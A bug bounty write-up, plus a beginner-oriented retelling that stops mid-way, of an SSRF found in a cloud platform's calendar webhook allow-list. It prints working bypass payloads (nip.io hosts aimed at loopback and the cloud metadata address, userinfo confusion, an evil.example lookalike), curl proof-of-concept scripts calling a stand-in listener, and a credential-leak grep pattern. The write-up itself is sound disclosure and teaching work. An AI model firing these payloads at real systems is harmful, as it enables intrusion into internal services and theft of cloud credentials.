Six Days One Target, Thirty-Six Tests: A Bug Bounty Bootcamp From Recon to Report
A calendar webhook feature validated destination URLs with a flawed allow-list that could be bypassed using wildcard DNS, self-resolving hostnames, or userinfo confusion, letting an attacker make the server send requests to arbitrary addresses. Separately, a long-lived remember-me cookie was not invalidated server-side on logout, so a stolen cookie could be replayed for roughly 400 days.
Published on medium.com
Bug Bounty
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a six-day engagement against a large, multi-product cloud platform. The target was a large, multi-product cloud platform whose products included mail, calendar, drive and docs, team chat, an AI-conversation product, large-file transfer, a URL shortener, an event-ticketing product, domain and DNS tooling, identity and SSO, managed compute and object storage, and a general-purpose developer API.
All target-identifying details in the report were replaced with neutral stand-ins. The placeholder map used throughout:
| Placeholder | Meaning |
|---|---|
| the Platform | the cloud provider itself |
| login.target.com | identity/SSO |
| manager.target.com | account/billing/admin console |
| calendar.target.com / contacts.target.com | calendar + address-book product |
| suite.target.com | umbrella workspace shell that embeds the other apps |
| drive.target.com | cloud-drive/file-storage product |
| chat.target.com | team-chat product |
| aichat.target.com | AI-conversation product with shareable conversations |
| transfer.target.com | large-file-transfer product |
| shop.target.com | storefront/checkout |
| tickets.target.com | event-ticketing product |
| sync.target.com | calendar/contacts sync protocol (CalDAV/CardDAV-style) |
| api.target.com | general-purpose public developer API |
| short.target.com | URL-shortener + QR product |
| ACCT-A / ACCT-B | two fully independent test organizations |
| OOB_HOST | an out-of-band listener (Collaborator/interactsh-style) used to prove server-side fetches |
The feature at the centre of the paid finding is a calendar webhook: a user registers a URL, and the server POSTs to it when a reminder fires. The product ships a server-side destination allow-list for those POSTs.

Setup
The engagement ran in four phases rather than as a daily log:
- Recon and scope mapping. Build the real in-scope asset list, discard everything not actually in scope, and read every shipped frontend bundle before sending a single probe.
- Breadth pass. Walk every in-scope product once (auth, objects, sharing, uploads, admin panels) and tag each by how deep the testing actually went.
- Deep testing. Return to whatever looked off and push it until it produces a real verdict.
- Cross-tenant pass and reporting. Once a second, fully independent test account exists, re-run every access-control test as A attacking B, not A attacking a guessed ID.
Two fully independent organisations, ACCT-A and ACCT-B, were used. A second member inside the same organisation was provisioned later for intra-tenant privilege testing. An out-of-band listener (OOB_HOST) was used to prove server-side fetches. The working folder was kept deliberately flat:
mkdir -p engagement/{notes,bundles,evidence,scripts,creds}
chmod 700 engagement/creds
mkdir -p engagement/evidence/{calendar,chat,drive,aichat,transfer,shop,sync,shortener,tickets,api}
A plain-text notes table, updated all week, became the artifact that let the final report state exactly what was tested, what was not, and why.
Finding it
Recon: the first host list was mostly wrong
The first automated pass produced roughly 150 "live" hosts. Cross-checking that list by hand against the program's written scope rules showed about 70% of it was out of scope: file-transfer endpoints, hosting-panel subdomains, object-storage hosts carved out by name, an AI-tooling subdomain, a second admin console. The real in-scope live surface was 45 hosts.
subfinder -d target.com -silent | httpx -silent -title -status-code > all_live_hosts.txt
wc -l all_live_hosts.txt
comm -12 <(sort all_live_hosts.txt) <(sort scope_rules_in_scope_names.txt) > real_scope_hosts.txt
wc -l real_scope_hosts.txt
Two further corrections were recorded rather than quietly carried forward. An early cross-account authorization matrix had been built and run, but every object in it belonged to a single test organisation, so every 403 was a test against a foreign-but-still-single-tenant guessed ID, a weaker signal than true tenant-to-tenant testing. And a subdomain/CNAME takeover sweep had been run over the unfiltered 150-host list with no result artifact saved, so it needed a clean re-run against the real 45 hosts.
Reading the shipped frontend
Both real findings came from reading JavaScript, not from fuzzing. Before any API testing, every product's production bundle was pulled and grepped for API route strings, validation logic, feature flags and leftover debug code.
curl -s https://app.target.com/ | grep -oE '"[^"]+\.js"' | sort -u > bundle_list.txt
while read -r bundle; do
curl -s "https://app.target.com${bundle}" -o "bundles/$(basename "$bundle")"
done < bundle_list.txt
grep -rno '"/api/[a-zA-Z0-9/_\-]*"' bundles/ | sort -u > discovered_routes.txt
grep -rno 'allow[Ll]ist\|validat\|pattern\|regex' bundles/ | sort -u > validation_logic_hits.txt
curl -s -o /dev/null -w "%{http_code}\n" "https://app.target.com/assets/main.js.map"
grep -rnoE 'AKIA[0-9A-Z]{16}|sk_live_[0-9a-zA-Z]+|ghp_[0-9a-zA-Z]+|-----BEGIN [A-Z ]+PRIVATE KEY-----' bundles/
Grepping the bundle for "allowlist" and "validat" before testing any URL-touching feature is what surfaced the destination allow-list behind the High-severity finding.
The first probe was rejected
Pointing a new webhook at the out-of-band listener was the obvious first move:
curl -s -X POST "https://calendar.target.com/api/user/preference/webhooks" \
-H "Cookie: $SESSION" -H "X-XSRF-TOKEN: $XSRF" -H "Content-Type: application/json" \
-d '{"name":"test","endpoint":"https://OOB_HOST.oastify.com/hook","body":"{}"}'
It was rejected immediately. Most people stop there. Instead the bundle was pulled and grepped for "webhook", which turned up the entire server-side destination allow-list in plain text:
grep -A3 'webhook' bundles/calendar-app.js
# const ALLOWED = {
# chat: ["*.chat.target.com/hooks/", "chat.*/hooks/"],
# slack: ["hooks.slack.com/services/"]
# };
The second chat.* entry is a bare wildcard subdomain match. If the real check is only "does the hostname start with chat.", then any hostname the attacker controls that starts with chat. should pass, including hostnames engineered to resolve somewhere interesting.
Exploitation
Step 1: one function, many candidate strings
A single helper was reused for every candidate, changing only the endpoint value:
test_webhook() {
curl -s -o /dev/null -w "%{http_code} $1\n" \
-X POST "https://calendar.target.com/api/user/preference/webhooks" \
-H "Cookie: $SESSION" -H "X-XSRF-TOKEN: $XSRF" -H "Content-Type: application/json" \
-d "{\"name\":\"probe\",\"endpoint\":\"$1\",\"body\":\"{}\"}"
}
Step 2: probe the validator
test_webhook "https://hooks.slack.com/services/T000/B000/xxx"
test_webhook "https://test.chat.target.com/hooks/abcdef"
test_webhook "https://OOB_HOST.oastify.com/hook"
test_webhook "https://hooks.slack.com.evil.example/services/abc"
test_webhook "https://chat.127.0.0.1.nip.io/hooks/x"
test_webhook "https://chat.169.254.169.254.nip.io/hooks/x"
test_webhook "https://chat.localhost/hooks/x"
test_webhook "https://foo.chat.target.com/hooks/x"
test_webhook "https://hooks.slack.com/services/[redacted]:8080/abc"
Three distinct bypass mechanisms fell out of one flawed six-line validator:
- Wildcard-DNS ownership. The attacker legitimately owns the DNS zone the wildcard matches, so
chat.<attacker-domain>passes the string check. - Self-resolving-hostname aliasing. The string satisfies the pattern while the real address resolves to loopback or link-local ranges, as with
chat.127.0.0.1.nip.ioandchat.169.254.169.254.nip.io. - Userinfo confusion. A prefix check on the visible hostname while the real socket target sits after the
@, as inhooks.slack.com/services/[redacted]:8080/abc.
No DNS resolution happens before the check, no comparison against the post-resolution address, no socket-level pinning. The validator checks a string and the network layer uses a different one.
Step 3: make the server deliver something
A bypass alone is not proof, so the next step was to make the server actually deliver a request:
test_webhook "http://chat.OOB_HOST.oastify.com/hooks/proof"
Then a calendar event was created with a webhook alarm pointing at the registered webhook:
curl -s "https://calendar.target.com/api/pim/event" \
-H "Cookie: $SESSION" -H "X-XSRF-TOKEN: $XSRF" -H "Content-Type: application/json" \
-d '{"title":"poc","start":"'"$(date -u -d '+2 minutes' +%Y-%m-%dT%H:%M:%SZ)"'",
"alarms":[{"action":"WEBHOOK","extra":"WEBHOOK_UUID"}]}'
The request arriving from the platform's own outbound address, carrying content fully controlled at registration time, is the proof of concept. The HTTPS twin of the same test produced a real DNS lookup from the platform's own resolver at the exact alarm second, which proves the server itself is resolving and dialling out rather than echoing a string back.
Step 4: stop and clean up
The test was deliberately never fired against a real internal address or metadata endpoint. The proof stopped at "the server will deliver attacker-controlled requests to an attacker-chosen address", which is already enough, and the program's rules call for minimal proof and an immediate stop once sensitive data is in reach. All nine test webhooks, both test events and a short-lived API token created during the same objective were deleted, and the deletion was verified afterwards.
Result: confirmed, reported, submitted, paid at High severity.
The sibling primitive that was closed as intended behaviour
A second undocumented endpoint, again found only by reading a bundle and never documented publicly, takes a list of URLs, fetches each one server-side and returns the page title and preview image:
XSRF=$(printf '%b' "${XSRF_RAW//%/\\x}")
curl -s "https://calendar.target.com/api/opengraph" \
-H "Cookie: $SESSION" -H "X-XSRF-TOKEN: $XSRF" \
-H "Content-Type: application/json" \
-d '{"websites":["http://OOB_HOST.oastify.com/proof"]}'
Same shape as the webhook bug: a confirmed server-side fetch with an attacker-influenced destination. Two extra capabilities were noted on their own. It follows redirects, so pointing it at a public redirect service returned the target's title for a host never directly supplied. And it acts as a reachability oracle, where a 200 versus a failed fetch gives a clean boolean signal about what the server can and cannot reach.
A second instance of the same primitive turned up in the team-chat product's image-proxy endpoint, which fired the fetch and then returned a 403: its allow-list check runs too late to stop the request, only to stop the response leaking back.
It was submitted anyway because the primitive itself is real, and the vendor closed it as intended link-preview behaviour. A sibling instance of the same primitive, a calendar "import calendar from a URL" feature confirmed the same way via out-of-band DNS and HTTP, was found days later and deliberately never submitted: same already-closed bug class, would have been a duplicate, and the program's "one fix, one reward" rule means a sibling endpoint earns nothing.
The lesson drawn was that "SSRF" is not a severity. "A deliberate security control exists, and a one-line trick defeats it" is a severity. Before writing either report, the question asked was what the specific control was supposed to prevent and whether it could be shown concretely to fail at exactly that job. One did, one did not.
Root cause
The webhook destination validator performs a string comparison against a small allow-list and never resolves the hostname before deciding. The chat.* entry is a bare wildcard subdomain match, so the check reduces to a prefix test on the hostname. Because the check operates on the string and the network layer operates on the resolved address, three classes of input pass the check while resolving elsewhere: attacker-owned wildcard DNS, self-resolving hostnames such as nip.io that embed an IP in the label, and userinfo syntax where the real socket target follows an @.
There is no resolution before the check, no comparison against the post-resolution address, and no socket-level pinning. The control exists and is defeated at exactly the job it was written for.
Impact
An authenticated user of the calendar product can register a webhook whose endpoint passes the allow-list but resolves to an address of the attacker's choosing, and the platform will then deliver attacker-controlled POST bodies to that address when the alarm fires. The proof stopped at demonstrating delivery to an attacker-chosen address; it was never fired at internal addresses or a metadata endpoint. The report rates this High and it was paid.
The link-preview primitive has the same shape plus redirect-following and a reachability oracle, but the vendor classified it as intended behaviour. The team-chat image proxy fires the fetch before its allow-list check and then returns 403, so the request happens but the response does not leak back.
Fix
The report does not describe a fix applied by the vendor.
Variants to test
- Wildcard-DNS ownership. Register a domain whose label matches the allow-list prefix and point it at your listener. A positive result is an out-of-band callback from the platform's own address.
- Self-resolving hostnames. Use a service that embeds an IP in a hostname label, for example
chat.127.0.0.1.nip.ioorchat.169.254.169.254.nip.io. A positive result is acceptance at registration and a fetch from the server. - Userinfo confusion. Place the real target after an
@in a URL whose visible host matches the allow-list. A positive result is a connection to the address after the@. - Redirect-following. Point the feature at a public redirect service that forwards to a host you never supplied. A positive result is content from the redirect target coming back.
- Reachability oracle. Compare a 200 against a failed fetch for hosts the server can and cannot reach. A positive result is a clean boolean difference.
- Late allow-list checks. Look for proxies that perform the fetch and then reject the response. A positive result is an out-of-band callback despite a 403 to the client.
Hunting notes
This bug hid in a six-line object in a JavaScript file. The signal during recon was a grep for allow[Ll]ist, validat, pattern and regex across every shipped bundle before testing any feature that touches a URL. The first probe was rejected, and the bundle read afterwards is what turned a dead end into a finding.
Impact was shown with an out-of-band callback from the platform's own outbound address plus a DNS lookup from the platform's resolver at the alarm second, and the testing stopped there rather than escalating to internal addresses. All test objects were deleted and the deletion verified.
The same engagement produced a large set of negatives that were written up with equal detail, including a cross-tenant pass built on a real second tenant, a sync protocol that resolves the principal entirely from the authenticated identity, an OAuth matrix where every deviation was rejected or downgraded, and a file-transfer type-confusion test neutralised by forced attachment disposition and a separate serving origin. Several fully proven bugs were never submitted because the program's rules excluded them, notably session survival after a password change under the Session Expiration Policy, and one enumeration oracle was written up with its limitation stated explicitly.
What happened, in plain words
Over six days, a security researcher tested a large cloud platform: a service that offers many products under one login, such as email, calendar, file storage, team chat, an AI chat tool, file transfer, a URL shortener, event ticketing, domain tooling, single sign-on, and a developer API. The goal was to find bugs that the company would pay to learn about, a practice called bug bounty hunting.
One bug was real enough and serious enough to be paid: a High severity finding. A second real bug was reported but the company said the behaviour was intended, so it was closed. A few other real bugs were proven but never submitted, because the programme's own written rules said those categories were out of scope. Most tests came back negative, which is normal against a well-built platform.
The paid bug was in a calendar feature called a webhook. A webhook is a URL you give to a service, and the service sends an automatic message to that URL when something happens. In this case, when a calendar reminder fires, the platform sends a message to the webhook address you registered. The platform has a list of allowed destinations for those messages. The researcher found that the restriction could be bypassed with a cleverly written web address, so the platform could be made to send messages to a place of the attacker's choosing.
This kind of bug is called SSRF, short for Server-Side Request Forgery. In plain terms: you trick a server into making a request on your behalf, to an address you were never supposed to reach. A simple comparison: imagine a building receptionist who will only forward your parcel to addresses on an approved list. If you write the address in a way that looks approved to the receptionist but the delivery driver reads differently, the parcel goes wherever you want. That is SSRF.
Below is the whole six-day story, rewritten for someone who has never done security testing. Every command and payload appears exactly as it was used, and after each one there is a plain-language explanation of what it does and why it was tried.

The setup: what was in scope, and what the placeholders mean
The platform's real name, domains, account IDs, emails, IP addresses and internal paths were replaced with neutral stand-ins before publication. Here is the map, so the rest of the article makes sense:
| Placeholder | What it stands for |
|---|---|
| the Platform | the cloud provider itself |
| login.target.com | the login and single sign-on service |
| manager.target.com | the account, billing and admin console |
| calendar.target.com / contacts.target.com | the calendar and address-book product |
| suite.target.com | the umbrella workspace that embeds the other apps |
| drive.target.com | the cloud drive and file-storage product |
| chat.target.com | the team-chat product |
| aichat.target.com | the AI-conversation product with shareable conversations |
| transfer.target.com | the large-file-transfer product |
| shop.target.com | the storefront and checkout |
| tickets.target.com | the event-ticketing product |
| sync.target.com | the calendar and contacts sync protocol (CalDAV/CardDAV-style) |
| api.target.com | the general-purpose public developer API |
| short.target.com | the URL-shortener and QR product |
| ACCT-A / ACCT-B | two fully independent test organisations |
| OOB_HOST | an out-of-band listener used to prove server-side fetches |
A few of those terms need unpacking for a complete beginner.
An API (Application Programming Interface) is the set of addresses a program uses to talk to another program. When you click a button in a web app, the browser usually sends a request to an API address behind the scenes, and the API answers with data. Think of it as the service counter at the back of a shop: customers do not walk into the stockroom, they ask at the counter.
A cookie is a small piece of text a website stores in your browser so it can recognise you on the next request. It is how a site remembers that you are logged in. A token is similar: a string of characters that acts like a temporary key. If someone steals your cookie or token, they can often act as you without knowing your password.
An out-of-band listener (OOB_HOST here) is a server the researcher controls that simply records any connection made to it. It is the equivalent of putting a camera on a door you suspect someone can open: if the camera records a visitor, you know the door opened. Tools such as Collaborator or interactsh provide this service. When you want to prove that a target server made a request, you point the target at your listener and watch for the hit.
Scope is the list of things a bug bounty programme allows you to test. Anything not on the list is off limits, even if it is technically part of the company. Respecting scope is both a legal requirement and a practical one: testing out-of-scope systems can get you banned or worse.
The four phases
The engagement was organised into four phases rather than a day-by-day diary:
- Recon and scope mapping. Build the real list of in-scope assets, throw out everything that is not actually in scope, and read every frontend bundle the platform ships before sending a single probe.
- Breadth pass. Walk every in-scope product once, looking at login, objects, sharing, uploads and admin panels, and note how deep the testing actually went.
- Deep testing. Go back to whatever looked off and push it until it produces a real verdict.
- Cross-tenant pass and reporting. Once a second, fully independent test account exists, re-run every access-control test as A attacking B, not A attacking a guessed ID.
A frontend bundle is the collection of JavaScript files a website sends to your browser. Modern web apps ship a lot of their logic to the browser, and that logic sometimes contains hints about how the server works: API addresses, validation rules, feature flags, even leftover debug code. Reading it is like reading the shop's internal manual that someone left on the counter.
A tenant is an isolated customer space inside a shared service. Two organisations using the same platform are two tenants. Testing whether tenant A can reach tenant B's data is the strongest form of access-control testing, because it uses two genuinely separate identities rather than one identity guessing at another's ID.
Two fully independent organisations, ACCT-A and ACCT-B, were used. A second member inside the same organisation was provisioned later for testing privileges within one tenant. The working folder was kept deliberately flat and boring:
mkdir -p engagement/{notes,bundles,evidence,scripts,creds}
chmod 700 engagement/creds
mkdir -p engagement/evidence/{calendar,chat,drive,aichat,transfer,shop,sync,shortener,tickets,api}
Line by line:
mkdir -p engagement/{notes,bundles,evidence,scripts,creds}creates a folder calledengagementwith five subfolders:notesfor written observations,bundlesfor downloaded JavaScript,evidencefor screenshots and saved responses,scriptsfor helper scripts, andcredsfor test account credentials. The-pflag means "create any missing parent folders and do not complain if they already exist". The curly braces are a shell shortcut that expands to five separate folder names.chmod 700 engagement/credschanges the permissions on the credentials folder so that only the owner can read, write or enter it. The digits are a permission code: 7 means read, write and execute for the owner, and 0 means no access for anyone else. This matters because a folder full of test passwords should not be readable by other users on the same machine.mkdir -p engagement/evidence/{calendar,chat,drive,aichat,transfer,shop,sync,shortener,tickets,api}creates one evidence subfolder per product, so screenshots and saved responses stay organised by target.
A plain-text notes table, updated all week, became the artifact that let the final report state exactly what was tested, what was not, and why. This sounds trivial, but it is the difference between a report that says "I tested the calendar" and one that says "I tested these seven fields on these six screens, and here is what happened on each".
Finding it
Recon: the first host list was mostly wrong
A host is a single machine or service address on the internet, usually a name like calendar.target.com. Recon tools scan a domain and produce a list of hosts that respond. The first automated pass produced roughly 150 "live" hosts. Cross-checking that list by hand against the programme's written scope rules showed about 70% of it was out of scope: file-transfer endpoints, hosting-panel subdomains, object-storage hosts carved out by name, an AI-tooling subdomain, a second admin console. The real in-scope live surface was 45 hosts.
subfinder -d target.com -silent | httpx -silent -title -status-code > all_live_hosts.txt
wc -l all_live_hosts.txt
comm -12 <(sort all_live_hosts.txt) <(sort scope_rules_in_scope_names.txt) > real_scope_hosts.txt
wc -l real_scope_hosts.txt
Line by line:
subfinder -d target.com -silentasks a tool called subfinder to find subdomains oftarget.com. The-silentflag suppresses banner and progress noise so only results come out.| httpx -silent -title -status-codepipes those subdomains into a second tool, httpx, which visits each one and reports whether it is alive, its page title and its HTTP status code. The pipe symbol|means "take the output of the left command and feed it to the right command".> all_live_hosts.txtwrites the result into a file instead of printing it to the screen.wc -l all_live_hosts.txtcounts the lines in that file, which is a quick way to see how many hosts were found.comm -12 <(sort all_live_hosts.txt) <(sort scope_rules_in_scope_names.txt) > real_scope_hosts.txtcompares two sorted lists and keeps only the lines that appear in both. The-12means "suppress lines unique to the first file and lines unique to the second file", leaving only the common lines. The<(...)syntax runs a command and treats its output as if it were a file. The result is the intersection: hosts that are both live and in scope.wc -l real_scope_hosts.txtcounts the intersection, which turned out to be 45.
Why this step matters: a scanner does not know what is in scope. It will happily report hosts the programme explicitly excluded. If you test those, you are wasting time at best and breaking the rules at worst. The manual intersection is the step that turns a raw scan into a usable target list.
Two further corrections were recorded rather than quietly carried forward. An early cross-account authorization matrix had been built and run, but every object in it belonged to a single test organisation, so every 403 was a test against a foreign-but-still-single-tenant guessed ID, a weaker signal than true tenant-to-tenant testing. And a subdomain/CNAME takeover sweep had been run over the unfiltered 150-host list with no result artifact saved, so it needed a clean re-run against the real 45 hosts.
A 403 is the HTTP status code for "forbidden": the server understood the request but refused it. A CNAME takeover is a bug where a subdomain points at a service the company no longer controls, so an attacker can claim that service and serve content on the company's subdomain. Both are worth knowing about, but neither produced a finding here.
Reading the shipped frontend
Both real findings came from reading JavaScript, not from fuzzing. Fuzzing means firing large numbers of semi-random requests at a target and watching for odd responses. It is noisy and often shallow. Reading the code the site already sends to every visitor is quiet and often deeper. Before any API testing, every product's production bundle was pulled and searched for API route strings, validation logic, feature flags and leftover debug code.
curl -s https://app.target.com/ | grep -oE '"[^"]+\.js"' | sort -u > bundle_list.txt
while read -r bundle; do
curl -s "https://app.target.com${bundle}" -o "bundles/$(basename "$bundle")"
done < bundle_list.txt
grep -rno '"/api/[a-zA-Z0-9/_\-]*"' bundles/ | sort -u > discovered_routes.txt
grep -rno 'allow[Ll]ist\|validat\|pattern\|regex' bundles/ | sort -u > validation_logic_hits.txt
curl -s -o /dev/null -w "%{http_code}\n" "https://app.target.com/assets/main.js.map"
grep -rnoE 'AKIA[0-9A-Z]{16}|sk_live_[0-9a-zA-Z]+|ghp_[0-9a-zA-Z]+|-----BEGIN [A-Z ]+PRIVATE KEY-----' bundles/
Line by line:
curl -s https://app.target.com/downloads the main page of the app.curlis a command-line browser: it fetches a URL and prints the response. The-sflag means silent, so progress bars do not clutter the output.| grep -oE '"[^"]+\.js"'searches that HTML for anything that looks like a quoted JavaScript filename.grepsearches text;-oprints only the matching part rather than the whole line;-Eenables extended regular expressions. The pattern matches a quote, one or more characters that are not a quote, then.jsand a closing quote.| sort -u > bundle_list.txtsorts the matches and removes duplicates (-u), then saves the list to a file.while read -r bundle; do ... done < bundle_list.txtloops over each line of the file, storing the line in a variable calledbundle.curl -s "https://app.target.com${bundle}" -o "bundles/$(basename "$bundle")"downloads each bundle. The${bundle}inserts the filename into the URL. The-oflag writes the response to a file, and$(basename "$bundle")strips any folder path so the file lands in thebundlesfolder under its own name.grep -rno '"/api/[a-zA-Z0-9/_\-]*"' bundles/ | sort -u > discovered_routes.txtsearches every downloaded bundle recursively (-r) for strings that look like API addresses, prints the line number (-n) and only the match (-o), then saves the unique list. This is how undocumented API endpoints get discovered.grep -rno 'allow[Ll]ist\|validat\|pattern\|regex' bundles/ | sort -u > validation_logic_hits.txtsearches for words that suggest input validation: "allowlist" or "Allowlist", "validat" (matching validate, validation, validator), "pattern" and "regex". The\|means "or" in this grep syntax. This is the single most important line in the whole recon phase, because it is what surfaced the destination allow-list behind the paid finding.curl -s -o /dev/null -w "%{http_code}\n" "https://app.target.com/assets/main.js.map"checks whether a source map file is publicly available. A source map is a file that maps minified production JavaScript back to the original readable source code. If it is exposed, you can read the developers' original code, comments and all. The-o /dev/nullthrows away the body and-w "%{http_code}\n"prints only the HTTP status code.grep -rnoE 'AKIA[0-9A-Z]{16}|sk_live_[0-9a-zA-Z]+|ghp_[0-9a-zA-Z]+|-----BEGIN [A-Z ]+PRIVATE KEY-----' bundles/searches the bundles for things that look like real credentials: AWS access key IDs (startingAKIA), Stripe live secret keys (startingsk_live_), GitHub personal access tokens (startingghp_), and PEM private key headers. Finding a live key in a public bundle is a serious bug on its own.
Grepping the bundle for "allowlist" and "validat" before testing any URL-touching feature is what surfaced the destination allow-list behind the High-severity finding. The lesson is that a few lines of text sitting in plain sight can be worth more than a thousand blind requests.
The first probe was rejected
A webhook is a URL you register with a service, and the service sends an automatic HTTP request to that URL when an event happens. In this calendar product, you register a webhook and the server sends a POST to it when a reminder fires. A POST is the HTTP method used to send data to a server, as opposed to GET which asks for data.
Pointing a new webhook at the out-of-band listener was the obvious first move:
curl -s -X POST "https://calendar.target.com/api/user/preference/webhooks" \
-H "Cookie: $SESSION" -H "X-XSRF-TOKEN: $XSRF" -H "Content-Type: application/json" \
-d '{"name":"test","endpoint":"https://OOB_HOST.oastify.com/hook","body":"{}"}'
Line by line:
curl -s -X POSTsends a POST request.-Xspecifies the HTTP method.- The URL
https://calendar.target.com/api/user/preference/webhooksis the API address for managing webhook preferences. -H "Cookie: $SESSION"attaches the session cookie.$SESSIONis a shell variable holding the value captured after logging in. This is what makes the request authenticated, meaning the server treats it as coming from a logged-in user.-H "X-XSRF-TOKEN: $XSRF"attaches an anti-CSRF token. CSRF stands for Cross-Site Request Forgery: a trick where a malicious site makes your browser send a request to another site while you are logged in there. To defend against it, many apps require a second secret value, the XSRF token, that only the real app's pages know. The server checks that this token matches the session.-H "Content-Type: application/json"tells the server the body is JSON, a common text format for structured data.-d '{...}'is the body of the request. It asks to create a webhook namedtestwhose endpoint ishttps://OOB_HOST.oastify.com/hook, with an empty JSON body{}to send when it fires.OOB_HOST.oastify.comis the researcher's listener.
It was rejected immediately. Most people stop there. Instead the bundle was pulled and grepped for "webhook", which turned up the entire server-side destination allow-list in plain text:
grep -A3 'webhook' bundles/calendar-app.js
# const ALLOWED = {
# chat: ["*.chat.target.com/hooks/", "chat.*/hooks/"],
# slack: ["hooks.slack.com/services/"]
# };
Line by line:
grep -A3 'webhook' bundles/calendar-app.jssearches the calendar app's JavaScript file for the word "webhook" and prints three lines after each match (-A3means "after 3"). The lines starting with#are the output, shown as comments so the snippet reads as code.const ALLOWED = { ... }declares a constant object calledALLOWED. This is the allow-list: the set of destinations the server will accept for a webhook.chat: ["*.chat.target.com/hooks/", "chat.*/hooks/"]is the entry for the chat product. The first pattern,*.chat.target.com/hooks/, means "any subdomain of chat.target.com, followed by /hooks/". The second pattern,chat.*/hooks/, is the interesting one: it means "anything starting withchat., followed by anything, followed by/hooks/".slack: ["hooks.slack.com/services/"]is the entry for Slack, a third-party chat service. It is a fixed hostname and path prefix.
The second chat.* entry is a bare wildcard subdomain match. If the real check is only "does the hostname start with chat.", then any hostname the attacker controls that starts with chat. should pass, including hostnames engineered to resolve somewhere interesting. That is the hypothesis to test.
Exploitation
Step 1: one function, many candidate strings
A single helper was reused for every candidate, changing only the endpoint value:
test_webhook() {
curl -s -o /dev/null -w "%{http_code} $1\n" \
-X POST "https://calendar.target.com/api/user/preference/webhooks" \
-H "Cookie: $SESSION" -H "X-XSRF-TOKEN: $XSRF" -H "Content-Type: application/json" \
-d "{\"name\":\"probe\",\"endpoint\":\"$1\",\"body\":\"{}\"}"
}
Line by line:
test_webhook() { ... }defines a shell function namedtest_webhook. A function is a named block of commands you can call repeatedly with different arguments.curl -s -o /dev/null -w "%{http_code} $1\n"sends the request, throws away the response body (-o /dev/null), and prints only the HTTP status code followed by the first argument ($1) and a newline. Printing the status code next to the candidate string makes it easy to see which candidates were accepted and which were rejected.-X POST "https://calendar.target.com/api/user/preference/webhooks"is the same webhook creation address as before.-H "Cookie: $SESSION" -H "X-XSRF-TOKEN: $XSRF" -H "Content-Type: application/json"attaches the same authentication and content-type headers.-d "{\"name\":\"probe\",\"endpoint\":\"$1\",\"body\":\"{}\"}"builds the JSON body, inserting the function's first argument as the endpoint. The backslashes escape the double quotes so the shell passes them through to curl rather than interpreting them.
Why a function: the only thing that changes between tests is the endpoint string. Wrapping the request in a function means each candidate is one short line, and the output is a tidy list of status codes. This is the difference between a careful experiment and a pile of ad-hoc commands.
Step 2: probe the validator
test_webhook "https://hooks.slack.com/services/T000/B000/xxx"
test_webhook "https://test.chat.target.com/hooks/abcdef"
test_webhook "https://OOB_HOST.oastify.com/hook"
test_webhook "https://hooks.slack.com.evil.example/services/abc"
test_webhook "https://chat.127.0.0.1.nip.io/hooks/x"
test_webhook "https://chat.169.254.169.254.nip.io/hooks/x"
test_webhook "https://chat.localhost/hooks/x"
test_webhook "https://foo.chat.target.com/hooks/x"
test_webhook "https://hooks.slack.com/services/[redacted]:8080/abc"
Line by line, what each candidate is testing:
https://hooks.slack.com/services/T000/B000/xxxis a legitimate Slack webhook shape. It should be accepted. This is the control: if even this is rejected, the whole test is broken.https://test.chat.target.com/hooks/abcdefis a legitimate chat-product webhook shape. It should also be accepted.https://OOB_HOST.oastify.com/hookis the researcher's listener. It should be rejected, because it is not on the allow-list. This confirms the validator is doing something.https://hooks.slack.com.evil.example/services/abclooks like Slack at a glance but the real domain isevil.example. A naive string check that only looks forhooks.slack.comsomewhere in the string might accept it. This tests whether the check is anchored to the end of the hostname.https://chat.127.0.0.1.nip.io/hooks/xusesnip.io, a free service that turns a hostname into an IP address.chat.127.0.0.1.nip.ioresolves to[redacted], which is the loopback address, meaning "this machine itself". The string starts withchat., so it may pass the allow-list, but it resolves to the server's own loopback interface.https://chat.169.254.169.254.nip.io/hooks/xresolves to[redacted], a special address used by cloud providers for instance metadata. On many clouds, that address returns credentials and configuration to anything that can reach it. This is the classic SSRF target.https://chat.localhost/hooks/xresolves to the local machine as well, using the speciallocalhostname.https://foo.chat.target.com/hooks/xis a subdomain of the real chat product. It tests whether the wildcard accepts arbitrary subdomains of the legitimate domain, which may or may not be intended.https://hooks.slack.com/services/[redacted]:8080/abcuses userinfo confusion. In a URL, everything before an@is treated as a username, and everything after is the real host. So this URL's visible text starts withhooks.slack.com, but the actual connection goes to[redacted]on port8080. A string check that looks at the start of the URL is fooled; the network layer is not.
Three distinct bypass mechanisms fell out of one flawed six-line validator:
- Wildcard-DNS ownership. The attacker legitimately owns the DNS zone the wildcard matches, so
chat.<attacker-domain>passes the string check. DNS is the system that turns names likeexample.cominto IP addresses. If you own a domain, you control what its subdomains resolve to. - Self-resolving-hostname aliasing. The string satisfies the pattern while the real address resolves to loopback or link-local ranges, as with
chat.127.0.0.1.nip.ioandchat.169.254.169.254.nip.io. Loopback is the address a machine uses to talk to itself. Link-local is a range used for local network configuration, and on cloud platforms the metadata service often lives there. - Userinfo confusion. A prefix check on the visible hostname while the real socket target sits after the
@, as inhooks.slack.com/services/[redacted]:8080/abc.
No DNS resolution happens before the check, no comparison against the post-resolution address, no socket-level pinning. Socket-level pinning means resolving the name once, checking the resulting IP, and then connecting to exactly that IP. Without it, the name can resolve to one thing at check time and another at connection time. The validator checks a string and the network layer uses a different one. That gap is the bug.
Step 3: make the server deliver something
A bypass alone is not proof. The validator accepting a string does not prove the server will actually send a request to it. So the next step was to make the server actually deliver a request:
test_webhook "http://chat.OOB_HOST.oastify.com/hooks/proof"
This candidate starts with chat., satisfying the wildcard, and the rest of the hostname is the researcher's listener. If the server accepts it and later sends a request, the listener will record a hit. That hit is the proof.
Then a calendar event was created with a webhook alarm pointing at the registered webhook:
curl -s "https://calendar.target.com/api/pim/event" \
-H "Cookie: $SESSION" -H "X-XSRF-TOKEN: $XSRF" -H "Content-Type: application/json" \
-d '{"title":"poc","start":"'"$(date -u -d '+2 minutes' +%Y-%m-%dT%H:%M:%SZ)"'",
"alarms":[{"action":"WEBHOOK","extra":"WEBHOOK_UUID"}]}'
Line by line:
curl -s "https://calendar.target.com/api/pim/event"sends a request to the calendar event API.pimlikely stands for personal information manager, the category the calendar belongs to.- The headers are the same authentication and content-type headers as before.
